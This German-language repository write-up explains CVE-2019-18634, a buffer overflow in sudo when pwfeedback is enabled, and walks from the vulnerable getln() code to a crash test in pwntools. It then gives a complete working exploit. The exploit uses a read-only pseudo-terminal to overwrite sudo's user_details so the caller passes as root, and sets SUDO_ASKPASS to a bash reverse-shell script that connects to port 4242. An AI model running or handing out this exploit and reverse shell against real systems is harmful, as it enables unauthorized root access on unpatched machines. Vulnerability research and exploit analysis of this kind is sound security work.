
Dieses Repository enthält sowohl den Exploit als auch die Erklärung, wie diese Sicherheitslücke ausgenutzt wird.
CVE-2019-18634 ist eine Sicherheitslücke, die Sudo in Versionen < 1.8.25 betrifft, wenn pwfeedback in der sudoers-Datei aktiviert ist. Sie ermöglicht einem Angreifer, durch Ausnutzung eines BSS-basierten Pufferüberlaufs seine Rechte auf root zu erweitern, bei dem die Datenstrukturen verändert werden und das Programm annimmt, dass es als root ausgeführt wird, sodass kein Passwort mehr abgefragt wird und root-Rechte gewährt werden.
In dieser Analyse werde ich zunächst tief in die Entdeckung der Schwachstelle eintauchen, indem ich den Code analysiere und verstehe, was falsch ist. Der Artikel von NIST erklärt, dass die Schwachstelle in der getln()-Funktion gefunden wurde. Schauen wir uns diese also zuerst an:
Wir sehen, dass die Funktion von einem Dateideskriptor buffersize-mal Zeichen für Zeichen liest und, wenn das gelesene Zeichen sudo-term-kill ist, beginnt sie, alle gesendeten Eingaben zu löschen, den aktuellen Zeiger zurück zum Anfang zu setzen und die Anzahl der zu lesenden Zeichen wieder auf buffersize zu setzen.
Der Fehler liegt im folgenden Codefragment:
static char *
getln(int fd, char *buf, size_t bufsiz, int feedback)
{
size_t left = bufsiz;
ssize_t nr = -1;
char *cp = buf;
char c = '\0';
debug_decl(getln, SUDO_DEBUG_CONV)
// ...
while (--left) {
nr = read(fd, &c, 1);
if (nr != 1 || c == '\n' || c == '\r')
break;
if (feedback) {
if (c == sudo_term_kill) {
while (cp > buf) {
if (write(fd, "\b \b", 3) == -1)
break;
--cp;
}
left = bufsiz;
continue;
}
// ...
}
*cp++ = c;
}
// ...
}
Im Grunde genommen wird bei Vorhandensein des sudo-term-kill-Zeichens, wenn der Schreibvorgang fehlschlägt, der Pufferzeiger nicht verringert, aber die Anzahl der Zeichen, die geschrieben werden können, wird zurückgesetzt, was effektiv einen Schreibvorgang mit beliebiger Länge in diesen Puffer ermöglicht.
Eine eingehende Analyse des Codes und der verwendeten Funktionen zeigt, dass das sudo-term-kill-Zeichen als globale undeklarierte Ganzzahl definiert ist. Das bedeutet, dass es auf 0 initialisiert wird, es sei denn, es wird eine Eingabe von einem Terminal empfangen; dann entspricht es dem, was in der termios-c_cc-Struktur gesetzt ist, die laut Dokumentation wie folgt aussieht:
Ich werde hier nicht zu sehr auf die Schlussfolgerungen eingehen, aber alle können durch einen Blick auf den Quellcode der Datei term.c im Sudo-Repository nachvollzogen werden.
Nach dieser kleinen Analyse bleibt nur noch, das Programm zum Absturz zu bringen und es zu debuggen, damit wir sehen, was gespeichert wird und wie es möglicherweise ausgenutzt werden könnte, um einen Vorteil daraus zu ziehen.
Um den Exploit auszulösen, müssen wir nur eine Payload mit genügend Daten senden, um den Puffer zu überlaufen und das Programm zum Absturz zu bringen. Dazu habe ich mich für die Python-Bibliothek pwntools entschieden:
import pwn
payload = b"A\x00"*10000
p = pwn.process(["/usr/local/bin/sudo", "-k", "-S", "id"]) # -k zum jedesmaligen Abfragen des Passworts, -S zur Angabe von stdin, da pwntools Daten über stdin übergeben muss
print(p.read())
p.sendline(payload)
print(p.read())
Die Ausführung ergab den folgenden Fehler:

Super!! Segmentation fault, wir haben also etwas überschrieben, das die Ausführung der Binärdatei zum Absturz gebracht hat. Nun sollten wir uns ansehen, was überschrieben wurde und wie wir daraus Nutzen ziehen können.
Um die Binärdatei zu debuggen, müssen wir die Ausführung des Prozesses vor dem Senden der Payload anhalten, dann einen Debugger anhängen und die Ausführung fortsetzen. Das muss so geschehen, weil zum Debuggen des sudo-Prozesses root-Rechte erforderlich sind, was jedoch dazu führt, dass das Programm kein Passwort abfragt – genau der angreifbare Teil.
Damit wollen wir nun sehen, was im Puffer und in den nachfolgenden Speicheradressen gespeichert wurde:

Wir sehen, dass neben dem Puffer auch mehrere andere Datenstrukturen überschrieben wurden, was für die Ausnutzung dieser Schwachstelle interessant sein könnte. Als nächstes habe ich beschlossen, die Daten in diesen Datenstrukturen vor dem Überschreiben zu betrachten. Dazu habe ich dasselbe Skript ausgeführt, aber nur buffersize Bytes an Daten überschrieben und dann den Speicher erneut analysiert:
Wie wir sehen, besteht die signo-Datenstruktur aus lauter Nullen, mit Ausnahme des Bytes an Position 548, das 0x02 ist. Es folgt die user-details-Struktur, die im Code als die Details des Benutzers bezeichnet wird, der sudo ausführt. Die 0x02 repräsentiert die Option -S, wie sie in der Datei sudo.h definiert ist. In derselben Datei ist eine weitere Option namens Askpass definiert, bei der ein Programm aus einer Umgebungsvariable bezogen und als Helfer zur Passwortabfrage verwendet wird (anstelle eines TTY oder STDIN). Mit diesen Informationen wird der Ausnutzungspfad möglicherweise etwas klarer.
Wir könnten möglicherweise ein benutzerdefiniertes Helferprogramm (z. B. eine Reverse Shell) setzen und dann die user-details überschreiben, um sudo so erscheinen zu lassen, als ob es von root ausgeführt würde.
Für die Ausnutzung gibt es noch eine Hürde: Wir müssen Nullen schreiben, um die ursprünglichen Daten der Datenstrukturen zu erhalten, und wir brauchen sie auch, um die Benutzerdetails auf root zu setzen. Daher können wir die Standardeingabe nicht verwenden, da sie die Nullen nicht schreiben würde. Glücklicherweise wissen wir, dass bei Verwendung eines Terminalgeräts das Kill-Zeichen 0x15 ist, ein Zeichen, das wir überhaupt nicht benötigen.
Damit ergibt sich ein Problem: Wir benötigen, dass der Schreibvorgang fehlschlägt. Terminalgeräte sind jedoch sowohl lesbar als auch beschreibbar, sodass der Schreibvorgang nicht fehlschlägt. Bei der Recherche bin ich auf Pseudoterminals gestoßen, die im Wesentlichen Terminalgeräte sind, die von Programmen erstellt und gesteuert werden können:
Mit einem PTY können wir mit dem Master kommunizieren, und der Master kommuniziert mit dem Slave. Wenn wir den Slave nur mit Leserechten ausstatten, können Programme nie darauf schreiben (der Vorgang schlägt also fehl), sodass wir den Exploit auslösen können.
Wenn das alles eingerichtet ist, müssen wir nur noch die Reverse Shell schreiben:
#!/usr/bin/bash
bash -i >& /dev/tcp/127.0.0.1/4242 0>&1
Und den Exploit:
import os
import pwn
import sys
####### Offsets wichtiger Informationen #######
buff = 0x563142f712c0
signo = 0x563142f713e0
userdetails = 0x563142f71500
tgetflag = 0x563142f714e4
####### PTY-Dateideskriptoren ######
masterfd, slavefd = os.openpty()
fd = os.open(os.ttyname(slavefd), os.O_RDONLY)
rshell = "/tmp/revshell.sh"
####### Prozess gestartet mit pty als stdin und rshell als sudo askpass-Programm ###
proc = pwn.process(['/usr/local/bin/sudo', '-k', '-S', 'id'], env={'SUDO_ASKPASS':rshell}, stdin=fd)
pwn.log.info(f"Prozess gestartet. Wird {rshell} als Payload ausführen")
####### Listener #######
port = pwn.listen(4242)
####### Payload #######
pwn.log.info("Sende Payload")
payload = (b'\x00' + b'\x15') * (tgetflag - buff)
payload += pwn.p64(0x4).ljust(userdetails - tgetflag, b'\x00')
payload += pwn.p32(0)
payload += pwn.p32(0)
payload += pwn.p32(0)
payload += pwn.p32(0)
payload += pwn.p32(0)
payload += pwn.p32(0)
payload += pwn.p32(0)
payload += pwn.p32(0)
payload += pwn.p32(0)
os.write(masterfd, payload + b'\n')
port.wait_for_connection()
pwn.log.info("wo0t wo0t willkommen zurück, mein Herr")
port.interactive()
Mit diesen wird eine Reverse Shell als root empfangen:
